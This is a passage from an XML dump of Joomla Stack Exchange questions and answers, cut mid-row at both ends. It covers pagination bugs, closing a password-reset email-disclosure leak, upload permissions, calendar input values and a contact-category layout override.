?&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&#xA;                        &amp;lt;?= HTMLHelper::_('date', $item-&amp;gt;date_modified, JText::_('DATE_FORMAT_LC5')) ?&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;/tbody&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13628" LastActivityDate="2019-10-12T20:52:40.820" Title="What is the reason pagination of records its not working?" Tags="|component|custom-component|pagination|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26251" PostTypeId="2" ParentId="26250" CreationDate="2019-10-12T16:56:07.023" Score="2" Body="&lt;p&gt;The problem was solved by adding the &lt;code&gt;JHtml::_('behavior.framework');&lt;/code&gt; directive in the view so that the problem of:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ReferenceError: Joomla is not defined&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;that occurred when you clicked on any of the pages of the pager component&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final code is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;class DemoViewDemo extends JViewLegacy&#xA;{&#xA;    public function display($tpl = null)&#xA;    {&#xA;        $this-&amp;gt;items = $this-&amp;gt;get('Items');&#xA;        $this-&amp;gt;pagination = $this-&amp;gt;get('Pagination');&#xA;&#xA;        if (count($errors = $this-&amp;gt;get('Errors'))) {&#xA;            JError::raiseError(500, implode('&amp;lt;br /&amp;gt;', $errors));&#xA;&#xA;            return false;&#xA;        }&#xA;&#xA;        $this-&amp;gt;addToolBar();&#xA;&#xA;        JHtml::_('behavior.framework'); // Adding this line fix the error ReferenceError: Joomla is not defined&#xA;&#xA;        parent::display($tpl);&#xA;    }&#xA;&#xA;    protected function addToolBar()&#xA;    {&#xA;        JToolbarHelper::title(JText::_('COM_TSLISTDEFINITION_TITLE'));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13628" LastEditorUserId="12352" LastEditDate="2019-10-12T20:52:40.820" LastActivityDate="2019-10-12T20:52:40.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26252" PostTypeId="1" CreationDate="2019-10-12T21:56:25.650" Score="4" ViewCount="426" Body="&lt;p&gt;The &quot;Forgot your password?&quot; password reset form in Joomla 3.x can disclose that an email address is registered with the site. This is a personal privacy violation which is illegal under some privacy laws.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the core Joomla function reports two different messages and formats:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&quot;Reset password failed: Invalid email address&quot; when a&lt;br&gt;&#xA;&lt;em&gt;non-registered&lt;/em&gt; address is entered into the reset form, and&lt;/li&gt;&#xA;&lt;li&gt;&quot;An email has been sent to your email address. The email has a verification code, please paste the verification code in the field &#xA;below to prove that you are the owner of this account.&quot; when a &#xA;&lt;em&gt;registered&lt;/em&gt; address is entered.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A third party can therefore determine that any email address is registered to and is associated with the site. Email addresses are commonly widely known, and in many cases are in the form Firstname.Lastname@&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be corrected with an override, to return the #2 response above regardless of the not/registered status of the email address entered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, what core file(s) need to be changed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not mentioning Username here because I am using a plugin which allows authentication by email address and password instead of Username and password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note! If you are unfamiliar with these specific responses, they are different. #1 is text that appears in a Joomla error box. #2 appears as text at the top of the form. This disclosure problem is not solved by a language file override making the text identical.&lt;/p&gt;&#xA;" OwnerUserId="12162" LastActivityDate="2019-10-14T06:40:20.397" Title="How to prevent password reset from disclosing private email addresses?" Tags="|joomla-3.x|login|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26253" PostTypeId="1" CreationDate="2019-10-13T00:33:31.807" Score="1" ViewCount="37" Body="&lt;p&gt;I'm running Joomla(&lt;code&gt;3.9.8&lt;/code&gt;) on an Apache/PHP server on Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you touch a file as the server user (and from PHP running on the server), the permissions of that file are: &lt;code&gt;-rw-rw-r--&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if a file is uploaded via the Media Manager (and JCE File Browser), the permissions look like this: &lt;code&gt;-rw-r--r--&lt;/code&gt;. The server thread has &lt;code&gt;Umask: 0022&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is &lt;code&gt;g+w&lt;/code&gt; lost and more importantly is there a setting to add &lt;code&gt;g+w&lt;/code&gt; for uploads (or set permissions for uploads in general)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could overwrite with &lt;code&gt;inotify cron&lt;/code&gt;, but that would be the last resort.&lt;/p&gt;&#xA;" OwnerUserId="12563" LastEditorUserId="12563" LastEditDate="2019-10-18T15:23:30.157" LastActivityDate="2019-10-18T15:23:30.157" Title="How to set default permissions of files uploaded through Joomla Media Manager?" Tags="|file-upload|media-manager|file-permissions|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26254" PostTypeId="2" ParentId="26252" CreationDate="2019-10-13T01:44:01.943" Score="2" Body="&lt;p&gt;Great Question Brett. This is one of the only core hacks I've ever had to make. If someone has a better solution then please post it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this file:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_users/models/reset.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/components/com_users/models/reset.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the public function processResetRequest($data)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where it checks to see if the user exists just return true early. This thus stops the email and reset process but also shows the regular success message to the user.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Original lines 398-404&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check for a user.&#xA;    if (empty($userId))&#xA;    {&#xA;        $this-&amp;gt;setError(JText::_('COM_USERS_INVALID_EMAIL'));&#xA;        return false;&#xA;    }  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Changed to:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check for a user.&#xA;    if (empty($userId))&#xA;    {&#xA;        /* === BEGIN CORE HACK === */&#xA;        return true;&#xA;        /* === END CORE HACK ===== */&#xA;&#xA;        $this-&amp;gt;setError(JText::_('COM_USERS_INVALID_EMAIL'));&#xA;        return false;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2019-10-13T01:49:57.687" LastActivityDate="2019-10-13T01:49:57.687" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26255" PostTypeId="2" ParentId="26252" CreationDate="2019-10-13T13:09:32.653" Score="2" Body="&lt;p&gt;To avoid a core hack there are two approaches I would suggest you could either create your own Model that would extend &lt;code&gt;UserModelReset&lt;/code&gt; so that you can insert a fake user id when a valid one is not found. &#xA;Or create an override for /com_users/view/reset/tmpl/default.php and replace line 24 to not call reset.request in the subcontroller reset.php but some code of your own.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;user-registration&quot; action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_users&amp;amp;task=reset.request'); ?&amp;gt;&quot; method=&quot;post&quot; class=&quot;form-validate form-horizontal well&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if the plugin you mention is something you can edit then I would suggest you do your own check if the user exists in the com_user table and if not then pass a valid but fake userid to the regular processing, just don't allow a non-existent user to be passed. Not knowing when the plugin gets involved, I can't be sure this is a valid option for you, but would be easiest and cleanest way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you follow the process of a normal password reset then you can see what is happening and why the code hack described by @jamesgarret is not working for you and you aren't getting to the final page displayed with the 'email sent' message. I would guess that your Plugin is calling &lt;code&gt;processResetRequest&lt;/code&gt; directly and not going through the subcontroller reset.request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned above &lt;code&gt;default.php&lt;/code&gt; calls the subcontrolelr &lt;code&gt;reset.php&lt;/code&gt; and &lt;code&gt;function request&lt;/code&gt;. &lt;code&gt;function request&lt;/code&gt; in turn calls &lt;code&gt;processResetRequest&lt;/code&gt; in &lt;code&gt;com_user/models/reset.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you read what is going on &lt;code&gt;processResetRequest&lt;/code&gt; you can see that a database call for the user email address is made and that variable of $userId is returned at line 389.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;As per @jamesgarret answer at line 399 a check is done for an empty &lt;code&gt;$userId&lt;/code&gt; and it is at this point that you do NOT want have an empty &lt;code&gt;$userId&lt;/code&gt;. If you used the core hack from @jamesgarret with the normal processing then &lt;code&gt;return true&lt;/code&gt; gets you back to &lt;code&gt;reset.request&lt;/code&gt; but if your Plugin is what called &lt;code&gt;processResetRequest&lt;/code&gt; then you need to handle the redirect to the correct page yourself.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you haven't already checked and passed a fake user id via your plugin then at line 401 you need to create a valid user id and give it to &lt;code&gt;$userId&lt;/code&gt; so the processing can continue with valid User Id.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;(changing line 401 would be a core hack or in an extended processReserRequest)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You have to create a fake user id in your com_user table that isn't a super user and has a valid email address that you can automatically discard when it is received by your mail server/account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason you need this fake user id is so that processing can complete, an email is sent and you get to the bottom of the &lt;code&gt;processResetRequest&lt;/code&gt; so that you get returned to the &lt;code&gt;request&lt;/code&gt; function in the &lt;code&gt;reset&lt;/code&gt; subcontroller. This is what redirects you to &lt;code&gt;com_user/views/reset/tmpl/reset.php&lt;/code&gt; which is the screen you want with the right message that an email has been sent and everything looks genuine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally the message you want to appear &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;An email has been sent to your email address. The email has a&#xA;  verification code, please paste the verification code in the field&#xA;  below to prove that you are the owner of this account.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;comes from &lt;code&gt;com_users/models/forms/reset_confirm.xml&lt;/code&gt; and is a fieldset label at line 3.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;default&quot; label=&quot;COM_USERS_RESET_CONFIRM_LABEL&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-10-13T13:09:32.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26256" PostTypeId="1" AcceptedAnswerId="26261" CreationDate="2019-10-13T18:16:55.780" Score="1" ViewCount="82" Body="&lt;p&gt;I have a joomla calendar set up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php&#xA;        defined('_JEXEC') or die;&#xA;        JHTML::_('behavior.calendar');&#xA;        echo '&amp;lt;div id=&quot;calendarBoxes&quot;  &amp;gt;';&#xA;        echo '&amp;lt;div id=&quot;datereceived1&quot; class=&quot;datereceived1&quot; &amp;gt;';&#xA;        echo JHtml::calendar(date(&quot;d/m/Y&quot;),'dateReceived','dateReceived' , '%d-%m-%Y');&#xA;        echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine and shows the calendar which then populates the box correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to get the populated value so that I can use it in an ajax call to save it to a database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stock.datereceived = jQuery( &quot;#dateReceived&quot; ).val();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this returns nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at the code inspector and I can see the value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; id=&quot;dateReceived&quot; name=&quot;dateReceived&quot; value=&quot;&quot; data-alt-value=&quot;13-10-2019&quot; autocomplete=&quot;off&quot; data-local-value=&quot;13-10-2019&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I can't access the data.  I can't use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;#dateReceived).attr(&quot;data-alt-value&quot;);&#xA;jQuery(&quot;#dateReceived).val();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I can't find any getter or setter for the calendar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great.&#xA;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a few debug type things without success:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stock.datereceived = jQuery( &quot;#dateReceived&quot; ).val();&#xA;console.log(&quot;stock.datereceived is &quot;+stock.datereceived);&#xA;console.log(&quot;getElementById is &quot;+jQuery(&quot;dateReceived&quot;).attr(&quot;data-alt-value&quot;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gives&#xA;stock.datereceived is &#xA;stock-lists:268 getElementById is undefined&#xA;in the element inspector&lt;/p&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="12248" LastEditDate="2019-10-14T07:11:49.790" LastActivityDate="2019-10-14T07:54:59.987" Title="Get value for joomla calendar input box to use in ajax call" Tags="|joomla-3.x|calendar|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26257" PostTypeId="1" CreationDate="2019-10-14T01:07:27.993" Score="1" ViewCount="74" Body="&lt;p&gt;I need a phone book with all people of the organization, but also need a separated phone book for each department. We have a &quot;Main&quot; category, with a few subcategories. I cannot duplicate the personal for each category, because there are many contacts. I know this solution is already built-in for com_content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made it through override but and still I cannot make the pagination work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my /html/com_contact/category/newlayout.php . I highlighted where I added the new code and explained what I was trying to do.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    /**&#xA;     * @package     Joomla.Site&#xA;     * @subpackage  com_contact&#xA;     *&#xA;     * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.&#xA;     * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA;     */&#xA;&#xA;    defined('_JEXEC') or die;&#xA;&#xA;&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;contact-category&amp;lt;?php echo $this-&amp;gt;pageclass_sfx;?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_page_heading')) : ?&amp;gt;&#xA;    &amp;lt;h1&amp;gt;&#xA;        &amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_heading')); ?&amp;gt;&#xA;    &amp;lt;/h1&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_category_title', 1)) : ?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('content.prepare', $this-&amp;gt;category-&amp;gt;title, '', 'com_contact.category.title'); ?&amp;gt;&#xA;    &amp;lt;/h2&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;def('show_description', 1) || $this-&amp;gt;params-&amp;gt;def('show_description_image', 1)) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;category-desc&quot;&amp;gt;&#xA;        &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_description_image') &amp;amp;&amp;amp; $this-&amp;gt;category-&amp;gt;getParams()-&amp;gt;get('image')) : ?&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php echo $this-&amp;gt;category-&amp;gt;getParams()-&amp;gt;get('image'); ?&amp;gt;&quot;/&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php if ($this-&amp;gt;category-&amp;gt;description &amp;amp;&amp;amp; $this-&amp;gt;params-&amp;gt;get('show_description')) : ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('content.prepare', $this-&amp;gt;category-&amp;gt;description, '', 'com_contact.category.description'); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    // -------------added code - start -----------&#xA;    //categoria selecionada no com_menu&#xA;    $catidselect = $this-&amp;gt;category-&amp;gt;id;&#xA;    //pegar subcat ids&#xA;    $catID = JRequest::getVar('id');&#xA;    $categories = JCategories::getInstance('Contact');&#xA;    $cat = $categories-&amp;gt;get($catID);&#xA;    $children = $cat-&amp;gt;getChildren();&#xA;&#xA;    //list all the Category n Subcategoris IDs&#xA;    $numeros_id = array();&#xA;    $numeros_id []= $catidselect;&#xA;    foreach ($children as $numero){&#xA;        $numeros_id[] = $numero-&amp;gt;id;&#xA;    }&#xA;&#xA;    // Get a db connection.&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    // Create a new query object.&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    // Select all records from the user profile table where key begins with &quot;custom.&quot;.&#xA;    // Order it by the ordering field.&#xA;    $query-&amp;gt;select('*');&#xA;    $query-&amp;gt;from($db-&amp;gt;quoteName('#__contact_details'));&#xA;    $j=1;&#xA;    $len = count($numeros_id);&#xA;    $query-&amp;gt;where($db-&amp;gt;quoteName('published') . ' =  1',  'AND' );&#xA;    //build the 'where' statement&#xA;    $catid_stings= ' ( ';&#xA;    foreach ($numeros_id as $num ){&#xA;        if($len === 1) {&#xA;            $catid_stings=$catid_stings.$db-&amp;gt;quoteName('catid').' = '.$db-&amp;gt;quote($num) ;&#xA;        } else if($len &amp;gt; 1 &amp;amp;&amp;amp; $j &amp;lt; $len){&#xA;            $catid_stings=$catid_stings.' '.$db-&amp;gt;quoteName('catid').' = '.$db-&amp;gt;quote($num).' OR';&#xA;        } else if($len &amp;gt; 1 &amp;amp;&amp;amp; $j === $len){&#xA;            $catid_stings=$catid_stings.' '.$db-&amp;gt;quoteName('catid').' = '.$db-&amp;gt;quote($num) ;&#xA;        }&#xA;        $j++;&#xA;    }&#xA;    $catid_stings = $catid_stings.&quot; )&quot;;&#xA;    $query-&amp;gt;where($catid_stings);&#xA;    $query-&amp;gt;order('name ASC');&#xA;&#xA;    $db = $db-&amp;gt;setQuery($query);&#xA;    //Trying to fix pagination&#xA;        //count all items in query&#xA;        $num_total = $db-&amp;gt;loadObjectList();&#xA;        $this-&amp;gt;pagination-&amp;gt;total = count($num_total);&#xA;        //get limit from $this&#xA;        $llimit = $this-&amp;gt;pagination-&amp;gt;limit;&#xA;        //create number of total pages&#xA;        $this-&amp;gt;pagination-&amp;gt;pagesTotal = ceil(count($num_total)/$llimit);&#xA;        $this-&amp;gt;pagination-&amp;gt;pagesStop = ceil(count($num_total)/$llimit);&#xA;        //&#xA;        $pagCur = $this-&amp;gt;pagination-&amp;gt;pagesCurrent;&#xA;        //recalculate new limitstart&#xA;        $newLimitstart = ($llimit != 0 ? (($pagCur-1) * $llimit) : 0);&#xA;        $this-&amp;gt;pagination-&amp;gt;limitstart = $newLimitstart;&#xA;&#xA;    //Query items for this page&#xA;    $db-&amp;gt;setQuery($query, $newLimitstart, $llimit);&#xA;&#xA;&#xA;    // Load the results as a list of stdClass objects (see later for more options on retrieving data).&#xA;    $results = $db-&amp;gt;loadObjectList();&#xA;    $this-&amp;gt;items = $results;&#xA;&#xA;&#xA;    // -------------added code - end -----------&#xA;    ?&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;?php echo $this-&amp;gt;loadTemplate('items'); ?&amp;gt;&#xA;&#xA;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is my /html/com_contact/category/newlayout_items.php . The only trouble here whas the slug, because I didn't know how to create, but I think I got around.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    /**&#xA;     * @package     Joomla.Site&#xA;     * @subpackage  com_contact&#xA;     *&#xA;     * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.&#xA;     * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA;     */&#xA;&#xA;    defined('_JEXEC') or die;&#xA;&#xA;    JHtml::_('behavior.framework');&#xA;&#xA;    $listOrder = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.ordering'));&#xA;    $listDirn  = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.direction'));&#xA;&#xA;&#xA;    ?&amp;gt;&#xA;    &amp;lt;?php if (empty($this-&amp;gt;items)) : ?&amp;gt;&#xA;        &amp;lt;p&amp;gt; &amp;lt;?php echo JText::_('COM_CONTACT_NO_CONTACTS'); ?&amp;gt; &amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;    &amp;lt;form action=&quot;&amp;lt;?php echo htmlspecialchars(JUri::getInstance()-&amp;gt;toString()); ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;table-responsive-lg&quot;&amp;gt;&#xA;            &amp;lt;table class=&quot;category table&quot;&amp;gt;&#xA;                &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_headings')) : ?&amp;gt;&#xA;                &amp;lt;thead&amp;gt;&amp;lt;tr&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_image_heading')) : ?&amp;gt;&#xA;                    &amp;lt;th class=&quot;item-image&quot;&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;th class=&quot;item-title&quot;&amp;gt;&#xA;                        &amp;lt;?php echo JHtml::_('grid.sort', 'COM_CONTACT_CONTACT_EMAIL_NAME_LABEL', 'a.name', $listDirn, $listOrder); ?&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th class=&quot;item-linha-de-pesquisa&quot;&amp;gt;&#xA;                            &amp;lt;?php echo JHtml::_('grid.sort', 'COM_CONTACT_ADDRESS', 'a.address', $listDirn, $listOrder); ?&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_position_headings')) : ?&amp;gt;&#xA;                    &amp;lt;th class=&quot;item-position&quot;&amp;gt;&#xA;                        &amp;lt;?php echo JHtml::_('grid.sort', 'COM_CONTACT_POSITION', 'a.con_position', $listDirn, $listOrder); ?&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_email_headings')) : ?&amp;gt;&#xA;                    &amp;lt;th class=&quot;item-email&quot;&amp;gt;&#xA;                        &amp;lt;?php echo JText::_('JGLOBAL_EMAIL'); ?&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_telephone_headings')) : ?&amp;gt;&#xA;                    &amp;lt;th class=&quot;item-phone&quot;&amp;gt;&#xA;                        &amp;lt;?php echo JText::_('COM_CONTACT_TELEPHONE'); ?&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_mobile_headings')) : ?&amp;gt;&#xA;                    &amp;lt;th class=&quot;item-phone&quot;&amp;gt;&#xA;                        &amp;lt;?php echo JText::_('COM_CONTACT_MOBILE'); ?&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_fax_headings')) : ?&amp;gt;&#xA;                    &amp;lt;th class=&quot;item-phone&quot;&amp;gt;&#xA;                        &amp;lt;?php echo JText::_('COM_CONTACT_FAX'); ?&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_suburb_headings')) : ?&amp;gt;&#xA;                    &amp;lt;th class=&quot;item-suburb&quot;&amp;gt;&#xA;                        &amp;lt;?php echo JHtml::_('grid.sort', 'COM_CONTACT_SUBURB', 'a.suburb', $listDirn, $listOrder); ?&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_state_headings')) : ?&amp;gt;&#xA;                    &amp;lt;th class=&quot;item-state&quot;&amp;gt;&#xA;                        &amp;lt;?php echo JHtml::_('grid.sort', 'COM_CONTACT_STATE', 'a.state', $listDirn, $listOrder); ?&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_country_headings')) : ?&amp;gt;&#xA;                    &amp;lt;th class=&quot;item-state&quot;&amp;gt;&#xA;                        &amp;lt;?php echo JHtml::_('grid.sort', 'COM_CONTACT_COUNTRY', 'a.country', $listDirn, $listOrder); ?&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;/thead&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;tbody&amp;gt;&#xA;                    &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;                        &amp;lt;?php  //Make slug - dont know other way :(&#xA;                                $item-&amp;gt;slug = $item-&amp;gt;id.'-'.$item-&amp;gt;alias ;?&amp;gt;&#xA;                        &amp;lt;?php if ($this-&amp;gt;items[$i]-&amp;gt;published == 0) : ?&amp;gt;&#xA;                            &amp;lt;tr class=&quot;system-unpublished cat-list-row&amp;lt;?php echo $i % 2; ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php else: ?&amp;gt;&#xA;                            &amp;lt;tr class=&quot;cat-list-row&amp;lt;?php echo $i % 2; ?&amp;gt;&quot; &amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_image_heading')) : ?&amp;gt;&#xA;                                &amp;lt;td class=&quot;item-image&quot; &amp;gt;&#xA;                                    &amp;lt;?php if ($this-&amp;gt;items[$i]-&amp;gt;image) : ?&amp;gt;&#xA;                                        &amp;lt;?php echo JHtml::_('image', $this-&amp;gt;items[$i]-&amp;gt;image, JText::_('COM_CONTACT_IMAGE_DETAILS'), array('class' =&amp;gt; 'contact-thumbnail img-thumbnail')); ?&amp;gt;&#xA;                                    &amp;lt;?php endif; ?&amp;gt;&#xA;                                &amp;lt;/td&amp;gt;&#xA;                            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                            &amp;lt;td class=&quot;item-title&quot; data-label=&quot;&amp;lt;?php echo JText::_('COM_CONTACT_CONTACT_EMAIL_NAME_LABEL'); ?&amp;gt;&quot; &amp;gt;&#xA;                                &amp;lt;a href=&quot;&amp;lt;?php echo 